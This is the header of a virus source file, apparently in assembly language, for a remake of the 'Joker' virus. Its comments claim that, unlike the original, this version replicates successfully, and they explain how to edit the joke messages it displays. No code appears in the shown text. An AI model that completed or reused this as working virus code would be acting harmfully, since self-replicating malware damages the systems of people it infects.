title " Joker! virus. Written by The BOOT SECTOR Infector ... "
|
||||
;
|
||||
; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original
|
||||
; had multiple programming errors in it that kept it from replicating.
|
||||
; My version is much more successful.

|

; If you change the number of messages the virus has, you should also
|

; add/remove lines from the offset table and change the "msgs"

; data byte appropriately. Let's say for instance that you want
|

; to remove "Program too big to fit in memory.":
|
||||
; 1) Delete the line(s) with the message and the line
|
||||
; immediately before it.
|

; 2) Move message #20 up to message #2's position and
|
||||
; change its label from "msg20" to "msg2".
|
||||
; 3) Delete the line "dw offset msg20" from the offset
|
||||
; table.
|

; 4) Change the line before this comment block to:
